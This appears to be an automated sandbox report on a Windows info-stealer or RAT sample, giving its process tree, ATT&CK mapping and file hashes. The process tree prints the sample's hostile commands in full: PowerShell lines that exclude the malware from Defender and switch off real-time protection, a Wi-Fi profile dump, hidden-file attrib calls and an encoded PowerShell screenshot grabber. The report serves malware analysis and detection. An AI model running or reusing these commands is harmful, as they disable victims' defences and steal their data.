description pid Process procid_target PID 1944 wrote to memory of 1968 1944 2024-06-26_3df7235123bbc4c52d379fe372ac0045_ngrbot_poet-rat_snatch.exe 90 PID 1944 wrote to memory of 1968 1944 2024-06-26_3df7235123bbc4c52d379fe372ac0045_ngrbot_poet-rat_snatch.exe 90 PID 1944 wrote to memory of 512 1944 2024-06-26_3df7235123bbc4c52d379fe372ac0045_ngrbot_poet-rat_snatch.exe 91 PID 1944 wrote to memory of 512 1944 2024-06-26_3df7235123bbc4c52d379fe372ac0045_ngrbot_poet-rat_snatch.exe 91 PID 1944 wrote to memory of 756 1944 2024-06-26_3df7235123bbc4c52d379fe372ac0045_ngrbot_poet-rat_snatch.exe 92 PID 1944 wrote to memory of 756 1944 2024-06-26_3df7235123bbc4c52d379fe372ac0045_ngrbot_poet-rat_snatch.exe 92 PID 1944 wrote to memory of 3176 1944 2024-06-26_3df7235123bbc4c52d379fe372ac0045_ngrbot_poet-rat_snatch.exe 94 PID 1944 wrote to memory of 3176 1944 2024-06-26_3df7235123bbc4c52d379fe372ac0045_ngrbot_poet-rat_snatch.exe 94 PID 1944 wrote to memory of 3972 1944 2024-06-26_3df7235123bbc4c52d379fe372ac0045_ngrbot_poet-rat_snatch.exe 95 PID 1944 wrote to memory of 3972 1944 2024-06-26_3df7235123bbc4c52d379fe372ac0045_ngrbot_poet-rat_snatch.exe 95 PID 1944 wrote to memory of 3660 1944 2024-06-26_3df7235123bbc4c52d379fe372ac0045_ngrbot_poet-rat_snatch.exe 96 PID 1944 wrote to memory of 3660 1944 2024-06-26_3df7235123bbc4c52d379fe372ac0045_ngrbot_poet-rat_snatch.exe 96 PID 1944 wrote to memory of 4760 1944 2024-06-26_3df7235123bbc4c52d379fe372ac0045_ngrbot_poet-rat_snatch.exe 97 PID 1944 wrote to memory of 4760 1944 2024-06-26_3df7235123bbc4c52d379fe372ac0045_ngrbot_poet-rat_snatch.exe 97 PID 1944 wrote to memory of 2876 1944 2024-06-26_3df7235123bbc4c52d379fe372ac0045_ngrbot_poet-rat_snatch.exe 98 PID 1944 wrote to memory of 2876 1944 2024-06-26_3df7235123bbc4c52d379fe372ac0045_ngrbot_poet-rat_snatch.exe 98 PID 1944 wrote to memory of 5104 1944 2024-06-26_3df7235123bbc4c52d379fe372ac0045_ngrbot_poet-rat_snatch.exe 99 PID 1944 wrote to memory of 5104 1944 2024-06-26_3df7235123bbc4c52d379fe372ac0045_ngrbot_poet-rat_snatch.exe 99 PID 1944 wrote to memory of 4736 1944 2024-06-26_3df7235123bbc4c52d379fe372ac0045_ngrbot_poet-rat_snatch.exe 100 PID 1944 wrote to memory of 4736 1944 2024-06-26_3df7235123bbc4c52d379fe372ac0045_ngrbot_poet-rat_snatch.exe 100 PID 1944 wrote to memory of 4932 1944 2024-06-26_3df7235123bbc4c52d379fe372ac0045_ngrbot_poet-rat_snatch.exe 101 PID 1944 wrote to memory of 4932 1944 2024-06-26_3df7235123bbc4c52d379fe372ac0045_ngrbot_poet-rat_snatch.exe 101 PID 1944 wrote to memory of 3468 1944 2024-06-26_3df7235123bbc4c52d379fe372ac0045_ngrbot_poet-rat_snatch.exe 102 PID 1944 wrote to memory of 3468 1944 2024-06-26_3df7235123bbc4c52d379fe372ac0045_ngrbot_poet-rat_snatch.exe 102 PID 1944 wrote to memory of 2288 1944 2024-06-26_3df7235123bbc4c52d379fe372ac0045_ngrbot_poet-rat_snatch.exe 103 PID 1944 wrote to memory of 2288 1944 2024-06-26_3df7235123bbc4c52d379fe372ac0045_ngrbot_poet-rat_snatch.exe 103 PID 1944 wrote to memory of 3680 1944 2024-06-26_3df7235123bbc4c52d379fe372ac0045_ngrbot_poet-rat_snatch.exe 104 PID 1944 wrote to memory of 3680 1944 2024-06-26_3df7235123bbc4c52d379fe372ac0045_ngrbot_poet-rat_snatch.exe 104 PID 3680 wrote to memory of 1660 3680 powershell.exe 105 PID 3680 wrote to memory of 1660 3680 powershell.exe 105 PID 1660 wrote to memory of 4176 1660 csc.exe 106 PID 1660 wrote to memory of 4176 1660 csc.exe 106 -
Views/modifies file attributes 1 TTPs 4 IoCs
pid Process 1968 attrib.exe 512 attrib.exe 3468 attrib.exe 2288 attrib.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\2024-06-26_3df7235123bbc4c52d379fe372ac0045_ngrbot_poet-rat_snatch.exe"C:\Users\Admin\AppData\Local\Temp\2024-06-26_3df7235123bbc4c52d379fe372ac0045_ngrbot_poet-rat_snatch.exe"1⤵
- Drops file in Drivers directory
- Adds Run key to start application
- Maps connected drives based on registry
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1944 -
C:\Windows\system32\attrib.exeattrib +h +s C:\Users\Admin\AppData\Local\Temp\2024-06-26_3df7235123bbc4c52d379fe372ac0045_ngrbot_poet-rat_snatch.exe2⤵
- Views/modifies file attributes
PID:1968
-
-
C:\Windows\system32\attrib.exeattrib +h +s C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe2⤵
- Views/modifies file attributes
PID:512
-
-
C:\Windows\System32\Wbem\wmic.exewmic csproduct get UUID2⤵
- Suspicious use of AdjustPrivilegeToken
PID:756
-
-
C:\Windows\System32\Wbem\wmic.exewmic path win32_VideoController get name2⤵
- Detects videocard installed
- Suspicious use of AdjustPrivilegeToken
PID:3176
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Add-MpPreference -ExclusionPath C:\Users\Admin\AppData\Local\Temp\2024-06-26_3df7235123bbc4c52d379fe372ac0045_ngrbot_poet-rat_snatch.exe2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:3972
-
-
C:\Windows\System32\Wbem\wmic.exewmic os get Caption2⤵PID:3660
-
-
C:\Windows\System32\Wbem\wmic.exewmic cpu get Name2⤵PID:4760
-
-
C:\Windows\System32\Wbem\wmic.exewmic path win32_VideoController get name2⤵
- Detects videocard installed
PID:2876
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend2⤵
- Suspicious behavior: EnumeratesProcesses
PID:5104
-
-
C:\Windows\System32\Wbem\wmic.exewmic csproduct get UUID2⤵PID:4736
-
-
C:\Windows\system32\netsh.exenetsh wlan show profiles2⤵
- Event Triggered Execution: Netsh Helper DLL
PID:4932
-
-
C:\Windows\system32\attrib.exeattrib -r C:\Windows\System32\drivers\etc\hosts2⤵
- Drops file in Drivers directory
- Views/modifies file attributes
PID:3468
-
-
C:\Windows\system32\attrib.exeattrib +r C:\Windows\System32\drivers\etc\hosts2⤵
- Drops file in Drivers directory
- Views/modifies file attributes
PID:2288
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of WriteProcessMemory
PID:3680 -
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\kjxas12r\kjxas12r.cmdline"3⤵
- Suspicious use of WriteProcessMemory
PID:1660 -
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESF4DF.tmp" "c:\Users\Admin\AppData\Local\Temp\kjxas12r\CSC4855AA3989284B77BDF8EA5B84BD1842.TMP"4⤵PID:4176
-
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --field-trial-handle=4152,i,4686244434963378549,11462511444150484980,262144 --variations-seed-version --mojo-platform-channel-handle=1748 /prefetch:81⤵PID:3956
Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Event Triggered Execution
1Netsh Helper DLL
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Event Triggered Execution
1Netsh Helper DLL
1Defense Evasion
Hide Artifacts
1Hidden Files and Directories
1Modify Registry
2Subvert Trust Controls
1Install Root Certificate
1Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
2KB
MD5d85ba6ff808d9e5444a4b369f5bc2730
SHA131aa9d96590fff6981b315e0b391b575e4c0804a
SHA25684739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA5128c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
-
Filesize
944B
MD577d622bb1a5b250869a3238b9bc1402b
SHA1d47f4003c2554b9dfc4c16f22460b331886b191b
SHA256f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb
SHA512d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9
-
Filesize
944B
MD59512d7fc6bd7fd6f9a322fa248957468
SHA1850ce09fca7a17159c8b8ad5b2002a61ed392c3d
SHA25640c6527c0a447fb33683b5577fa1c0cd6e8be07e78ff57083f6f3339519dddd7
SHA5125c402ac4544931469549a353d22b96ef5157d6b4dd5e71c1e93bb7f5a2ac6197eb13dc29162cfb70cbcfd814527c604b08fd02b42c5d64ad00391dd73f10c4de
-
Filesize
1KB
MD510e7d7028afe60ea4ceb456aeb9a6450
SHA1239bf47e7b68b7b2d9bbb3a724cd5e44f82a9ebd
SHA2566a1fbdd3b7c015b09ee243397ee1004b3b0c45673b20affa690460556a4fc7fb
SHA5124f13b19856758e6aef4762b339db906a20e7069294c67ca996bcc31bd0b63acede92a0084565dab5547d058b538045865856d307c6f8c370ab829a937ecaa3f3
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
4KB
MD5b148e88b949f67045230a00b13c5e52d
SHA1cc50b954ee2c2a7addfb5ecde3ecdeb182a64894
SHA256260c2ea9ec0f6f296969fb08d0a086ffa9c38f8e3b5b09a8b19812c409cdad38
SHA5121bfb368c1b5540a37d3e81b99ef761b771ebc75c043e094b64f0955d91d1dea7451b80f4dfe327b2784bd4e02490466decd649260a59b5b1795f571793f12707
-
Filesize
415KB
MD5c48b6f58e61ab82aefd31259c49fa10c
SHA1c9beb81c7fe9dfd01e284c7171235f368f04affc
SHA256995c8ebab95c1244e8dffff40d4283fe2ad01adf0f533de7f4216178c5d0e3f5
SHA51219164a42a5389a8e68d6333b2794df7770b6bcefa0985999061b6569a99c74a4c48f238c4596729485616b7f137593bc39f1d75d661645353e27573b035cb72d
-
Filesize
9.5MB
MD53df7235123bbc4c52d379fe372ac0045
SHA1da818e86cf02fffcacbe468b8bb63e7a1da91ad9
SHA256daf5ea8c5e1f7bdf0a5f12c8671b14642d6e3349390629da9f7dc754e610fafd
SHA512a3f86b6a3afe12098f503edcc96c585b8fef60fd23dcb03653888c8e63e977f8d4b23fc8803acfc41f59f8923401ab7978342c4b9e7fd7a0357070950d7d0558
-
Filesize
2KB
MD56e2386469072b80f18d5722d07afdc0b
SHA1032d13e364833d7276fcab8a5b2759e79182880f
SHA256ade1813ae70d7da0bfe63d61af8a4927ed12a0f237b79ce1ac3401c0646f6075
SHA512e6b96f303935f2bbc76f6723660b757d7f3001e1b13575639fb62d68a734b4ce8c833b991b2d39db3431611dc2cacde879da1aecb556b23c0d78f5ee67967acb
-
Filesize
652B
MD54f127f11b56b5dd548622e9067b0b3b3
SHA1db4983e6611f5fa90b06e27eeee22766b8381b0a
SHA25658dc6fc6e5ed982e26dae722345f94869d5fe2dd13ed068c9b927b591cd8b893
SHA51266457fc67163c4924c0636fd9189a11b9726285f41d2483942adb64e1ad1db7df30eacb12f0bbe9ed70cb914a391fdb3229484cf78a857094a8fc0d0ba30ad7b
-
Filesize
1004B
MD5c76055a0388b713a1eabe16130684dc3
SHA1ee11e84cf41d8a43340f7102e17660072906c402
SHA2568a3cd008e86a3d835f55f8415f5fd264c6dacdf0b7286e6854ea3f5a363390e7
SHA51222d2804491d90b03bb4b640cb5e2a37d57766c6d82caf993770dcf2cf97d0f07493c870761f3ecea15531bd434b780e13ae065a1606681b32a77dbf6906fb4e2
-
Filesize
607B
MD58aa920edbe96a1d640440f17531805b2
SHA14d3851caccdc706dc9e106d862c820c43892e271
SHA256d4d49e2badc17a4cf67432dcaaeb4e12144965dc2fed6151a27083bdc2581083
SHA5123f1179dc8e08250e7a68026d62db72d03d7e058a6b56d3e20a94049ecdec699964938aa22b0c7fcda173beea3971ca7d4e858eecb9c2fd1b3529512e47f884fa